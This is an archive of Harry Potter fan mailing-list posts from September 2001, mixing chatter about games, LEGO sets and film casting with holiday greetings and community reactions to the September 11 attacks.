Date: Sun, 16 Sep 2001 17:36:29 -0000
Subject: CHAT
Message-ID: <9o2nut+o01b@eGroups.com>

Hey, everyone go to the HP:1 that I guess Amy Z created, both 
Cheetah and Yahoo Chat can access it. Go into whichever Chat you use 
and type 

/join HP:1




From chillpill101 at earthlink.net  Sun Sep 16 04:21:43 2001
From: chillpill101 at earthlink.net ({USER_FIRSTNAME} {USER_LASTNAME})
Date: Sat, 15 Sep 2001 21:21:43 -0700
Subject: Hagrid
Message-ID: <000701c13efc$9a2e70a0$21acf5d1@ibmus2.ibm.com>

Eh, I just wanted to add to my earlier e-mail that although Robbie Coltrane makes a wonderful Hagrid, I wist Oliver Platt would play him, or is he too small?
~Erica


[Non-text portions of this message have been removed]




From hfakhro at nyc.rr.com  Sun Sep 16 21:37:59 2001
From: hfakhro at nyc.rr.com (hfakhro at nyc.rr.com)
Date: Sun, 16 Sep 2001 21:37:59 -0000
Subject: All muslims not death eaters (from main list)
Message-ID: <9o363n+927j@eGroups.com>

I was very heartened to see the posts over on the main lists that 
were sympathetic to Arab Americans and Muslims. Having heard of 
incidents of violence towards these populations in the States and 
elsewhere, I am very grateful that this list hasn't descended into 
that sort of talk. Having said that, I hope these feelings of 
sympathy extend to include Arabs and Muslims who are not American. 
Born and raised in the Middle East as an Arab Muslim, I can assure 
you that our population is totally shocked by these attacks. Those 
who planned them and those who carried them out, if they are Muslim 
Arabs, are a complete minority. The Iranian government, which has 
been an enemy of the US for over twenty years now, released a 
statement of sympathy to the US, the victims and their families, as 
have all the other Arab and Islamic nations. I believe the only 
people who rejoiced at this tragedy were Saddam Hussein and Osama Bin 
Laden, both obviously major exceptions to the Arab people. I guess 
this post is just a big thank you to your open-mindedness and to let 
you know that the victims of the tragedy have the condolences from 
Arabs and Muslims all over the world, not just those who were born 
American.

Sincerely,
Hella




From chillpill101 at earthlink.net  Sun Sep 16 04:08:51 2001
From: chillpill101 at earthlink.net ({USER_FIRSTNAME} {USER_LASTNAME})
Date: Sat, 15 Sep 2001 21:08:51 -0700
Subject: Madame Hooch
Message-ID: <000601c13efc$98d71e00$21acf5d1@ibmus2.ibm.com>

In VF theres' have a picture of Madame Hooch, played by Zoe Wanamaker and she (the actress) looks oddly familiar to me, does anyone know of other movies or TV shows she's been in?
Thanks,
~Erica 


[Non-text portions of this message have been removed]




From find_sam at hotmail.com  Mon Sep 17 07:31:59 2001
From: find_sam at hotmail.com (Sam Brown)
Date: Mon, 17 Sep 2001 07:31:59 -0000
Subject: speaking of the SimUniverse...
In-Reply-To: <3BA4D8F4.448E3251@nb.sympatico.ca>
Message-ID: <9o48tf+78lq@eGroups.com>

Angela wrote:
> If you're wondering what a Sim is, please check out this link: 
> http://thesims.ea.com/us/  It's a *very* addictive computer game.

Sim City is also a very addictive computer game! I used to play Sim 
City 2000 for hours on end, until my computer's hard drive wiped 
itself and I lost the game. Anyway, today I bought Sim City 3000... 
but I can't yet get it to work on my computer. Because computers are 
stupid and frustrating *mild grumble*.

I actually checked out the Sims in the computer store I bought SC 
from... there's a lot of versions, including plan old 'The Sims', 
which is cheap, and 'The Sims Deluxe', which is considerably more 
expensive. I plan on getting this game in the near future (it's very 
highly recommended on this list, after all <G>), and I don't mind 
forking out the extra cash for the Deluxe version if I know it's 
value for money. What do you Sims connisseurs (urgh... I know I've 
spelt that wrong!) think?

Sam




From miss_megan at dingoblue.net.au  Mon Sep 17 09:56:23 2001
From: miss_megan at dingoblue.net.au (storm)
Date: Mon, 17 Sep 2001 19:56:23 +1000
Subject: Congratulations Amanda!
References: <1000719382.595.54535.l10@yahoogroups.com>
Message-ID: <001601c13f5f$04089980$86cc8ec6@storm>

Congratulations on being 'here' a year - is that all it is? It
seems like you have been posting for so much longer (because, I
hasten to add, I enjoy your posts so much!)

Sam and Wanda - I enjoyed both your jokes today .. we can all do
with a laugh at the moment.

storm, the bed on the verandah, etc




From blpurdom at yahoo.com  Mon Sep 17 10:56:49 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Mon, 17 Sep 2001 10:56:49 -0000
Subject: Madame Hooch
In-Reply-To: <000601c13efc$98d71e00$21acf5d1@ibmus2.ibm.com>
Message-ID: <9o4kth+aqpa@eGroups.com>

--- In HPFGU-OTChatter at y..., "{USER_FIRSTNAME} {USER_LASTNAME}" 
<chillpill101 at e...> wrote:
> In VF theres' have a picture of Madame Hooch, played by Zoe 
Wanamaker and she (the actress) looks oddly familiar to me, does 
anyone know of other movies or TV shows she's been in?
> Thanks,
> ~Erica 
 
Zoe Wanamaker has been a stage actress for a long time, but this url 
will take you to the a movie website, which has a list of her 
television and cinema credits.

http://us.imdb.com/Name?Wanamaker,+Zo%EB

--Barb





From Aberforths_Goat at Yahoo.com  Mon Sep 17 12:20:31 2001
From: Aberforths_Goat at Yahoo.com (Aberforth's Goat)
Date: Mon, 17 Sep 2001 14:20:31 +0200
Subject: [HPFGU-OTChatter] All muslims not death eaters (from main list)
References: <9o363n+927j@eGroups.com>
Message-ID: <00a501c13f73$25ccc410$e500a8c0@shasta>

Hella wrote,

> I was very heartened to see the posts over on the main lists that
> were sympathetic to Arab Americans and Muslims. [....]

Hella,

It's an honor to have you here. Please stay!

I was a seven-year-old boy in Hungary during the Iranian hostage crisis.
(That was during the late Carter years, for you youngsters ... ;-) Oddly
enough, one of my best friends was a boy named Mechdad, the son of an
Iranian diplomat family. I can still remember evenings I spent at his house,
playing with our Lego sets while our parents spoke in hushed voices. We had
no idea what the problem was, but our parents were friends and had the guts
to stick it out.

I was an eleven-year-old boy in England during the Reagan years - lived
outside of London and was put in the first form of the local comprehensive.
Since I had lived with "America's enemies" in Hungary - and never
experienced anything but kindness from them - I thought living with
"America's allies" in the UK would be the treat of my life. It was only
years later that I began to understand why some boys from the 5th and 6th
form punched me in the stomach - or why the PE teacher screamed "get the
Yank!" whenever I'd run with the rugby ball - or why one of the teachers
read us a poem entitled "What if Sam drops the bomb?"

I was a teenager living on the southern coast of Sicily when US bombers
struck Libya. My father (a little older now, a little less idealistic) told
me to steer clear of my Tunisian friends for a while. I understood why, but
I didn't.

Last Wednesday, Sue and I went to our first ever parent - teacher evening at
Natascha's kindergarten outside of Zrich. There weren't many men there, but
one other father had come to translate for his wife. He has short and
stocky; thick black hair, even thicker accent; lavish mustache, gold chain -
the perfect look for your basic Arab Hijacker profile. His daughter is named
Rosa - small, dark, shy with huge, soft brown eyes. I looked at out two
daughters and grew thoughtful. Will they be friends? And what about him?
What does he feel this evening? Where does he come from? What does he think
about me? What does he think I think about him? I tried to think of
something to say to make friends, but nothing came to mind. I went home
still wondering.

Whatever we look like, whatever we believe, wherever we come from, we humans
are creatures of squalor and splendor, friendship and murder, honor and
shame. We might as well make the best of it.

Baaaaaa!

Aberforth's Goat (a.k.a. Mike Gray)
_______________________

"Of course, I'm not entirely sure he can read, so that may not have been
bravery...."




From bray.262 at osu.edu  Mon Sep 17 09:50:01 2001
From: bray.262 at osu.edu (Rachel Bray)
Date: Mon, 17 Sep 2001 09:50:01 EST5EDT
Subject: A sweet touch to an emotional night
Message-ID: <87F3A92DD2@lincoln.treasurer.ohio-state.edu>

Friday night I was to see the Columbus Symphony with 
Kathleen Battle (hometown girl).  It got cancelled.  But 
the symphony decided to go ahead and have a Concert of 
Healing.  It was free for the public and the Red Cross was 
there for donations.  There were several hundred people 
there in the beautiful Ohio Theater.  It was uplifting and 
it was heartbreaking (they did Barber's Adagio for Strings 
which makes me cry any time, let alone now).  Anyway, right 
before it started I made my way downstairs to the 
restrooms.  The basement of the theater is decorated in 
this gorgeous red velvet/gold trim gothic looking columns, 
furniture, etc. with a big mirror at the end of the room.  
I've always loved that area and I make it a point to go 
down there every time I'm in the theater just to stand in 
the middle of the room and close my eyes for a moment.  I 
stood there in the silence for a moment until a young boy 
and his mother came down the stairs.  The boy gasped and 
said "Mom!  It looks like Hogwarts!"  Though my meditation 
was ruined, I burst out laughing.  It was refreshing to 
hear such innocence.  But then I looked around and I have 
to admit....he was right.  It looked very Hogwarts-ish.  
Complete with the Mirror of Erised at the end of the room.

By the way, thanks for those beautiful words, Neil.  It's 
been one of the best healers for my heart to see how the 
world is reacting to this.  And the speech your Prime 
Minister made the other day was so very touching and 
eloquent.


Rachel Bray
The Ohio State University
Fees, Deposits and Disbursements

"Could have been edited by a crack-addicted ferret with
ADD who just downed a half dozen Pixie Stix."
                       - review of Moulin Rouge



From macloudt at yahoo.co.uk  Mon Sep 17 16:46:36 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Mon, 17 Sep 2001 16:46:36 -0000
Subject: The past few days
In-Reply-To: <3BA40D47.16A0DFFC@attglobal.net>
Message-ID: <9o59dc+qjjv@eGroups.com>

 Create scholarships, one each named
> after the victims of Tuesday, to provide poor children all over 
those
> parts of the world most in need with high school education followed 
by
> training in medicine, civil engineering and maybe a few other 
things. An
> Operation Headstart for the Third World would actually help reduce 
poverty
> and remove that foreignness and alienness which is one of the 
reasons for
> hatred

Peg, what a brilliant idea.  I agree, what a wonderful way to have 
something positive come out of this tragedy.

And yes, despite our initial outpouring of grief, we must also try to 
stand back and look at WHY this happened.  Though there is of course 
no excuse *whatsoever* for this dispicable act, there must be reasons 
behind it.  I have 3 very young kids, and all I can do is hope that 
by the time they grow up some of these conflicts will be been 
resolved.

Peace to you all

Mary Ann




From macloudt at yahoo.co.uk  Mon Sep 17 17:05:26 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Mon, 17 Sep 2001 17:05:26 -0000
Subject: All muslims not death eaters (from main list)
In-Reply-To: <00a501c13f73$25ccc410$e500a8c0@shasta>
Message-ID: <9o5agm+gku5@eGroups.com>

> Whatever we look like, whatever we believe, wherever we come from, 
we humans
> are creatures of squalor and splendor, friendship and murder, honor 
and
> shame. We might as well make the best of it.

Amen to that.

It's been a running joke in my family through 6 years of marriage 
that the only reason my husband didn't run out of the church on our 
wedding day is because my Maid of Honour is related to Yasser Arafat.

I chatted online with her a few days ago (I'm in England, she's in 
Canada) and discussed exactly why such a tragedy could happen.  It 
was the most non-emotional, objective conversation I've had with 
anyone about this, but the basis is still this:  *no one* has any 
right to cause such suffering to *anyone*.

What a strange bunch of creatures us Homo Sapien Sapiens are.

Mary Ann




From ochfd42 at yahoo.com  Mon Sep 17 17:07:04 2001
From: ochfd42 at yahoo.com (Angela Boyko)
Date: Mon, 17 Sep 2001 13:07:04 -0400 (EDT)
Subject: [HPFGU-OTChatter] speaking of the SimUniverse...
Message-ID: <20010917170704.27275.qmail@web11708.mail.yahoo.com>


> Sam Brown wrote:
> > 
> > Angela wrote:
> > > If you're wondering what a Sim is, please check
> out this link:
> > > http://thesims.ea.com/us/  It's a *very*
> addictive computer game.
> > 
> > Sim City is also a very addictive computer game! I
> used to play Sim
> > City 2000 for hours on end, until my computer's
> hard drive wiped
> > itself and I lost the game. Anyway, today I bought
> Sim City 3000...
> > but I can't yet get it to work on my computer.
> Because computers are
> > stupid and frustrating *mild grumble*.
> 
I've always sucked at Sim City. I run out of money and
my roads break down and everyone has a cow. I had the
version with audio and video, and it drove me crazy
when the fire chief would ask how I could sleep at
night because of the budget shortage. I finally gave
that to my brother.

> > I actually checked out the Sims in the computer
> store I bought SC
> > from... there's a lot of versions, including plan
> old 'The Sims',
> > which is cheap, and 'The Sims Deluxe', which is
> considerably more
> > expensive. I plan on getting this game in the near
> future (it's very
> > highly recommended on this list, after all <G>),
> and I don't mind
> > forking out the extra cash for the Deluxe version
> if I know it's
> > value for money. What do you Sims connisseurs
> (urgh... I know I've
> > spelt that wrong!) think?
> 
I'm not sure what you were looking at. You need to get
'The Sims' to start off with. There are two expansion
packs - 'Living Large' and 'House Party'. I prefer
'Living Large' because it has more jobs and more
objects, but 'House Party' does have some cool objects
as well.

There is so much to discover in this game! For
example, if you put a
plate of cookies and a Christmas tree by a
fireplace, and put all of the
Sims to bed, Santa Claus appears and leaves
presents!
 
And with 'House Party', if you manage to produce a
really good party, a special celebrity guest appears.
I've only gotten the guest once, but what a hoot!

Angela

_______________________________________________________
Do You Yahoo!?
Get your free @yahoo.ca address at http://mail.yahoo.ca



From blpurdom at yahoo.com  Mon Sep 17 18:18:29 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Mon, 17 Sep 2001 18:18:29 -0000
Subject: A sweet touch to an emotional night
In-Reply-To: <87F3A92DD2@lincoln.treasurer.ohio-state.edu>
Message-ID: <9o5epl+dqom@eGroups.com>

--- In HPFGU-OTChatter at y..., "Rachel Bray" <bray.262 at o...> wrote:
> Friday night I was to see the Columbus Symphony with 
> Kathleen Battle (hometown girl).  It got cancelled.  But 
> the symphony decided to go ahead and have a Concert of 
> Healing.  It was free for the public and the Red Cross was 
> there for donations.  

Last night the Philadelphia Orchestra and the Philadelphia Singers 
also did a free concert at the Mann Music Center (donations were 
being accepted for the Red Cross); I wish I could have gone, but I 
have number of friends in Philly Singers, and I am emailing them to 
find out what pieces they performed.

> It was uplifting and 
> it was heartbreaking (they did Barber's Adagio for Strings 
> which makes me cry any time, let alone now).  

We played a recording of this at my father's funeral in May.  I was 
blubbering all through it.  This was my father's favorite piece of 
music in the world.  Barber originally wrote it as a memorial piece 
for those lost in WWII, but it is used as a general memorial now.  I 
once had the privilege of singing the a capella choral version (Agnus 
Dei) under the baton of Matthew Glandorf, who teaches at the Curtis 
Institute of Music here in Philadelphia.  It was serving as a 
backdrop for "Shut Up And Dance" (yes, I get the irony), an annual 
fundraiser that the Pennsylvania Ballet does for a local AIDS group.  

We sang the Barber at the back of the stage while two dancers did a 
heartbreakingly beautiful pas de deux, only part of which was visible 
to me because I had to have one eye on my music and the other on 
Matt.  He almost didn't make it through his first rehearsal with us 
because he was saying that Barber wrote the piece when he was exactly 
Matt's age, and when he had the exact same job as Matt at Curtis.  
And Matt had just lost his partner to AIDS...I had also recently lost 
another friend to AIDS.  That was probably the hardest performance of 
my life.  I have no idea how the musicians and performers made it 
through last night's concert.

> The basement of the theater is decorated in 
> this gorgeous red velvet/gold trim gothic looking columns, 
> furniture, etc. with a big mirror at the end of the room.  
> I've always loved that area and I make it a point to go 
> down there every time I'm in the theater just to stand in 
> the middle of the room and close my eyes for a moment.  I 
> stood there in the silence for a moment until a young boy 
> and his mother came down the stairs.  The boy gasped and 
> said "Mom!  It looks like Hogwarts!"  Though my meditation 
> was ruined, I burst out laughing.   

That's wonderful!  I'm counting on my kids to keep me laughing 
occasionally through all this.  The last two nights I woke up (at 4 
am and 5:30 am respectively) with horrendous nightmares.  It took a 
few days for the true horror to sink into my brain.  My husband also 
woke up at the exact same time on Sunday morning after having a 
nightmare.  

Then we received a phone call from our best friend, who lives out in 
Lancaster County.  She'd also woken up before dawn with nightmares.  
She wanted to go to church and didn't want to go to any that are near 
where she lives, so she asked whether it would be crazy for her to 
drive to Philadelphia to come to our church with us.  We told her 
that of course it wasn't crazy.  (She'd just stayed over here on 
Friday night and driven back home on Saturday, so this constituted a 
lot of back and forth between her house and ours in one weekend.)  
She drove an hour and a half to be at our service by 11 am, and she 
was glad she did.  The church was packed, which it never is 
(relatively small congregation).  I have a feeling that many, many 
churches, temples and mosques had higher than usual attendance rates 
at services this weekend as people looked for solace wherever they 
could find it.  I have a couple of friends who are non-deists and 
attend the Sunday morning gatherings at the Philadelphia Ethical 
Society, and they were bursting at the seams as well.

I almost didn't make it through the service, which began with our 
music director/resident diva singing Ravel's a capella setting for 
the Kaddish, and ended with our pastor reading a prayer from the 
Koran.  She has reworked her sermon from yesterday to serve as an op-
ed piece (she sent it to me as mail this morning).  If anyone wants 
this forwarded, let me know.  It is wonderful and moving and I was 
crying all over again while rereading it.

--Barb






From heidit at netbox.com  Mon Sep 17 20:05:04 2001
From: heidit at netbox.com (Tandy, Heidi)
Date: Mon, 17 Sep 2001 16:05:04 -0400
Subject: Happy New Year
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2CC8@MIAEXCH1>

Wishing all who celebrate it a L'Shana Tova - and may everyone have a sweet
year.
 
 
 



From sarahlinks14 at yahoo.com  Mon Sep 17 20:17:02 2001
From: sarahlinks14 at yahoo.com (sarahlinks14 at yahoo.com)
Date: Mon, 17 Sep 2001 20:17:02 -0000
Subject: HP Legos
Message-ID: <9o5lnu+u6kv@eGroups.com>

Hi!  I just picked up the latest issue of the Nickelodeon mag with 
Harry on the cover.  I was hoping for more than just the 3 pages 
about the movie.  But it did have some pictures I haven't seen - 
Dumbledore and Harry in the hospital ward, the students in front of 
the sorting hat.  

Anyways, in the front of the mag is an ad for Harry Potter Legos.  I 
thought I had scoped out all of the merchandise at the stores, but I 
hadn't come across the lego sets.  Has anyone else bought them?  I 
have to say the sight of Lego Harry on his broom made me laugh, it 
looked a little odd.  But I'm game to set up my own Hogwarts Lego 
castle.  I just wanted some feedback from those of you who have 
purchased them.  Is it worth it?

Thanks!

Sarah




From sarahlinks14 at yahoo.com  Mon Sep 17 21:14:15 2001
From: sarahlinks14 at yahoo.com (Sarah Bennet)
Date: Mon, 17 Sep 2001 21:14:15 -0000
Subject: HP Legos
Message-ID: <9o5p37+9mm6@eGroups.com>

Hi.  I picked up the latest issue of Nickelodeon magazine with Harry 
on the cover.  I was hoping for more than the 3 pages they gave to 
the movie.  But there were pictures from the movie that I haven't 
seen before - Dumbledore and Harry in the hospital wing, the students 
in front of the sorting hat.

Anyways, in the front of the mag is an ad for Harry Potter Legos.  I 
thought that I'd scoped out all of the HP merchandise at the stores, 
but I hadn't come across the legos.  I have to say the sight of the 
Harry Lego on his broom made me laugh, it looked a little odd.  But 
I'm game enough to set up my own Hogwarts Lego castle.  I was 
wondering if any of you have purchased the kits.  Are they worth it?

Thanks!

Sarah



P.S. - Sorry if this posted twice; I'm having Yahoo troubles.




From john at walton.to  Mon Sep 17 23:36:06 2001
From: john at walton.to (John Walton)
Date: Mon, 17 Sep 2001 19:36:06 -0400
Subject: Music (was: A sweet touch...)
In-Reply-To: <9o5epl+dqom@eGroups.com>
Message-ID: <B7CC0126.1D90%john@walton.to>

blpurdom at yahoo.com said:

> 
>> It was uplifting and
>> it was heartbreaking (they did Barber's Adagio for Strings
>> which makes me cry any time, let alone now).
> 
> We played a recording of this at my father's funeral in May.  I was
> blubbering all through it.  This was my father's favorite piece of
> music in the world.  Barber originally wrote it as a memorial piece
> for those lost in WWII, but it is used as a general memorial now.  I
> once had the privilege of singing the a capella choral version (Agnus
> Dei) under the baton of Matthew Glandorf, who teaches at the Curtis
> Institute of Music here in Philadelphia.  It was serving as a
> backdrop for "Shut Up And Dance" (yes, I get the irony), an annual
> fundraiser that the Pennsylvania Ballet does for a local AIDS group.
> 
> We sang the Barber at the back of the stage while two dancers did a
> heartbreakingly beautiful pas de deux, only part of which was visible
> to me because I had to have one eye on my music and the other on
> Matt.  He almost didn't make it through his first rehearsal with us
> because he was saying that Barber wrote the piece when he was exactly
> Matt's age, and when he had the exact same job as Matt at Curtis.
> And Matt had just lost his partner to AIDS...I had also recently lost
> another friend to AIDS.  That was probably the hardest performance of
> my life.  I have no idea how the musicians and performers made it
> through last night's concert.

I too have sung the Agnus Dei. It is unbelievably gorgeous and is only
slightly behind Rachmaninov's Bogoroditsye Dyevo and Allegri's Miserere Mei,
Deus in my Gorgeousness rankings. Also up there are Balfour Gardiner's
Evening Hymn (only in Latin as it sounds naff in English), and pretty much
anything madrigal-related. Anything Rutter-written is unfortunately out of
the question as his music overwhelmingly makes me laugh. Hmmm...perhaps
that's what's needed now :D

I have been taking so much comfort from music recently...just turning my
speakers up high and bathing in sound.

--John
________________________________

John Walton -- john at walton.to

     We shall overcome. We shall overcome.
     We shall overcome someday.
     Deep in my heart, I do believe
     We shall overcome someday.

September 11th, 2001.
________________________________




From coriolan at worldnet.att.net  Tue Sep 18 01:09:13 2001
From: coriolan at worldnet.att.net (Caius Marcius)
Date: Tue, 18 Sep 2001 01:09:13 -0000
Subject: Getting You-Know-Who (filk)
Message-ID: <9o66rp+uj4h@eGroups.com>

Getting You-Know-Who (from GoF, Chapter 37)

(To the tune of Getting to Know You, from the King And I)

(THE SCENE: The Great Hall. DUMBLEDORE speaks to the Hogwarts staff 
and students at the onset of a grave crisis)

DUMBLEDORE (spoken) I say to you all, once again - in the light of 
Lord Voldemort's return, we are only as strong as we are united, as 
weak as we are divided.  Lord Voldemort's gift for spreading discord 
and enmity is very great. We can fight it only by showing an equally 
strong bond of friendship and trust.  Differences of habit and 
language are nothing at all if our aims are identical and our hearts 
are open. It is my belief- and never have I so hoped that I am 
mistaken - that we are all facing dark and difficult times.  Some of 
you in this Hall have already suffered directly at the hands of Lord 
Voldemort.  Many of your families have been torn asunder.  A week 
ago, a student was taken from our midst
..

(music)
That rank creature is returning
Cedric slain by Voldemort
A hideous act of terror
Announces an all-out war 

Getting You-Know-Who
Getting to ensure that he's through
Getting You-Know-Who
Getting to grieve Diggory
Getting You-Know-Who
Aiming it at him
Precisely
As we concisely
Gain victory

Getting a breakthrough
Getting to all work in accord
This is what we'll do,
Getting to fight Evil's sway.
Have you forgotten
Our enemy's gift for discord?
If we now join to show our unity
We shall crush his infamy

ALL
Seize the day!

   - CMC


 









From ebonyink at hotmail.com  Tue Sep 18 01:35:00 2001
From: ebonyink at hotmail.com (Ebony)
Date: Tue, 18 Sep 2001 01:35:00 -0000
Subject: Happy New Year
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2CC8@MIAEXCH1>
Message-ID: <9o68c4+asi3@eGroups.com>

--- In HPFGU-OTChatter at y..., "Tandy, Heidi" <heidit at n...> wrote:
> Wishing all who celebrate it a L'Shana Tova - and may everyone have 
a sweet
> year.


Thanks, Heidi--and many you, yours, and all of our other observant 
friends on the lists have a Happy New Year as well... 

--Ebony AKA AngieJ




From lady.nymphaea at faerielands.com  Tue Sep 18 01:36:50 2001
From: lady.nymphaea at faerielands.com (lady.nymphaea at faerielands.com)
Date: Tue, 18 Sep 2001 01:36:50 -0000
Subject: HP Legos
In-Reply-To: <9o5lnu+u6kv@eGroups.com>
Message-ID: <9o68fi+v2vj@eGroups.com>

--- In HPFGU-OTChatter at y..., sarahlinks14 at y... wrote:
> Hi!  I just picked up the latest issue of the Nickelodeon mag with 
> Harry on the cover.  I was hoping for more than just the 3 pages 
> about the movie.  But it did have some pictures I haven't seen - 
> Dumbledore and Harry in the hospital ward, the students in front of 
> the sorting hat.  
> 
> Anyways, in the front of the mag is an ad for Harry Potter Legos.  
I 
> thought I had scoped out all of the merchandise at the stores, but 
I 
> hadn't come across the lego sets.  Has anyone else bought them?  I 
> have to say the sight of Lego Harry on his broom made me laugh, it 
> looked a little odd.  But I'm game to set up my own Hogwarts Lego 
> castle.  I just wanted some feedback from those of you who have 
> purchased them.  Is it worth it?

They weren't released until this week, actually; I saw space 
dedicated to them at Toys R Us today but no sets actually in. I 
imagine that they've been delayed in arriving due to recent events.

You can get more info on this over at http://www.fbtb.net/hp/ which 
is dedicated to coverage of Harry Potter LEGO and has pictures of the 
sets. It doesn't look like anyone at the FBTB message boards has had 
their sets come in yet, either, and LEGO Shop-at-home is already sold 
out.

Meril




From klaatu at primenet.com  Tue Sep 18 04:06:52 2001
From: klaatu at primenet.com (Sister Mary Lunatic)
Date: Mon, 17 Sep 2001 21:06:52 -0700
Subject: Sonic Booms and A Little Humor
Message-ID: <MABBJPGEHBDBAKHGIBPOOEEBEGAA.klaatu@primenet.com>

Tonight about 6 pm there was a tremendous "BOOM" -- sounded like a major
explosion and also as if something very heavy fell on the roof.  EVERYONE in
the neighborhood ran outside to scan the skies -- that's the first time I've
ever seen all the neighbors outdoors at the same time.  We saw no smoke or
mushroom clouds, so the general consensus was that it was a sonic boom from
some invisible jet fighter passing overhead (later confirmed by the local
news).  It's been so many years since anyone has heard a sonic boom over the
city (being outlawed) that it was a terrible shock coming after the NY/DC
disasters.  The dogs were all shivering too.

And now, some quirky humor:

I have a Page-A-Day calendar called "Forgotten English" which includes
various peculiar celebrations of the day.  Today's states that Sept 17 is
the :

"Feast Day of St. Lambert, a seventh-century patron of surgeons.  Despite
his undeniable piety, his numerous good deeds, and the ecclesiastic
leadership he provided in and about Flanders, Lambert was once disciplined
by being made to remain in the snow overnight while minimally dressed, as
penance for allegedly breaking wind audibly, an action which abbey elders
interpreted as a breach of his monastic vow of silence."

WOW, talk about STRICT!!

SML
==================================
Inside every older person
is a younger person -
wondering what the hell happened.
==================================






From aiz24 at hotmail.com  Tue Sep 18 10:39:37 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Tue, 18 Sep 2001 10:39:37 -0000
Subject: A very happy birthday to Trina
Message-ID: <9o7899+91mv@eGroups.com>

Today, September 18, is Trina's birthday!  Have a 
magical one!

Owl post to: triner918 at aol.com or this list

Amy Z
hoping this posts before the day is out--Yahoo has been S L O W




From aiz24 at hotmail.com  Tue Sep 18 10:43:16 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Tue, 18 Sep 2001 10:43:16 -0000
Subject: Happy New Year
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2CC8@MIAEXCH1>
Message-ID: <9o78g4+7srl@eGroups.com>

May this year end more peacefully than it has begun.  Shanah Tovah, 
everyone.

Amy




From bray.262 at osu.edu  Tue Sep 18 08:16:27 2001
From: bray.262 at osu.edu (Rachel Bray)
Date: Tue, 18 Sep 2001 08:16:27 EST5EDT
Subject: The Binch 
Message-ID: <D03DA5A2C@lincoln.treasurer.ohio-state.edu>

Every U down in Uville liked U.S. a lot,  
But the Binch, who lived Far East of Uville, did not. The 
Binch hated U.S! the whole U.S. way! Now don't ask me why, 
for nobody can say, It could be his turban was screwed on 
too tight. Or the sun from the desert had beaten too 
bright But I think that the most likely reason of all May 
have been that his heart was two sizes too small.  

But, Whatever the reason, his heart or his turban,  
He stood facing Uville, the part that was urban.  
"They're doing their business," he snarled from his perch. 
"They're raising their families! They're going to church! 
They're leading the world, and their empire is thriving, I 
MUST keep the S's and U's from surviving!"  

Tomorrow, he knew, all the U's and the S's,  
Would put on their pants and their shirts and their 
dresses, They'd go to their offices, playgrounds and 
schools, And abide by their U and S values and rules,  
  
And then they'd do something he liked least of all,  
Every U down in U-ville, the tall and the small,  
Would stand all united, each U and each S,  
And they'd sing Uville's anthem, "God bless us! God 
bless!" All around their Twin Towers of Uville, they'd 
stand, and their voices would drown every sound in the 
land.  
  
"I must stop that singing," Binch said with a smirk, And 
he had an idea--an idea that might work! The Binch stole 
some U airplanes in U morning hours, And crashed them 
right into the Uville Twin Towers. "They'll wake to 
disaster!" he snickered, so sour, "And how can they sing 
when they can't find a tower?"  

The Binch cocked his ear as they woke from their sleeping, 
All set to enjoy their U-wailing and weeping, Instead he 
heard something that started quite low, And it built up 
quite slow, but it started to grow-- And the Binch heard 
the most unpredictable thing... And he couldn't believe 
it--they started to sing!  

He stared down at U-ville, not trusting his eyes,  
What he saw was a shocking, disgusting surprise!  
Every U down in U-ville, the tall and the small,  
Was singing! Without any towers at all!  
He HADN'T stopped U-Ville from singing! It sung!  
For down deep in the hearts of the old and the young, 
Those Twin Towers were standing, called Hope and called 
Pride, And you can't smash the towers we hold deep inside. 

So we circle the sites where our heroes did fall,  
With a hand in each hand of the tall and the small,  
And we mourn for our losses while knowing we'll cope, For 
we still have inside that U-Pride and U-Hope.  
  

For America means a bit more than tall towers,  
It means more than wealth or political powers,  
It's more than our enemies ever could guess,  
So may God bless America! Bless us! God bless!  



Rachel Bray
The Ohio State University
Fees, Deposits and Disbursements

For America means a bit more than tall towers, 
It means more than wealth or political powers, 
It's more than our enemies ever could guess, 
So may God bless America! Bless us! God bless! 



From witchwanda2002 at yahoo.com  Tue Sep 18 12:22:56 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Tue, 18 Sep 2001 05:22:56 -0700 (PDT)
Subject: [HPFGU-OTChatter] Re: Happy New Year
In-Reply-To: <9o78g4+7srl@eGroups.com>
Message-ID: <20010918122256.32966.qmail@web13703.mail.yahoo.com>

All of us at The Mallett Family also want to wish A
Happy New Year too. We also want it to be a peaceful 
one. Happy to show the rest of the world we all will
go on!

Wanda and Her 3 Stooges aka Muggles    
--- Amy Z <aiz24 at hotmail.com> wrote:
> May this year end more peacefully than it has begun.
>  Shanah Tovah, 
> everyone.
> 
> Amy
> 
> 


__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From witchwanda2002 at yahoo.com  Tue Sep 18 12:25:50 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Tue, 18 Sep 2001 05:25:50 -0700 (PDT)
Subject: [HPFGU-OTChatter] A very happy birthday to Trina
In-Reply-To: <9o7899+91mv@eGroups.com>
Message-ID: <20010918122550.97799.qmail@web13701.mail.yahoo.com>

 We here in Revere, Massachusetts raise a big toast of
Butterbeer to Trina! Happy Birthday and may you get
all that you wish for on this special day! Amy wishes
you to have a Magical One! Let the Magic Begin!
Wanda and Her 3 Stooges aka Muggles

--- Amy Z <aiz24 at hotmail.com> wrote:
> Today, September 18, is Trina's birthday!  Have a 
> magical one!
> 
> Owl post to: triner918 at aol.com or this list
> 
> Amy Z
> hoping this posts before the day is out--Yahoo has
> been S L O W
> 
> 






From inviziblegirl at hotmail.com  Tue Sep 18 12:51:51 2001
From: inviziblegirl at hotmail.com (Amber ?)
Date: Tue, 18 Sep 2001 08:51:51 -0400
Subject: [HPFGU-OTChatter] A very happy birthday to Trina
Message-ID: <F122f8Wa1CHS5JDPzSq00010beb@hotmail.com>


>From: "Amy Z" <aiz24 at hotmail.com>
>
>Today, September 18, is Trina's birthday!  Have a
>magical one!

Wheee! Happy Birthday Trina! Eat chocolate frogs and be merry!

~Amber

********
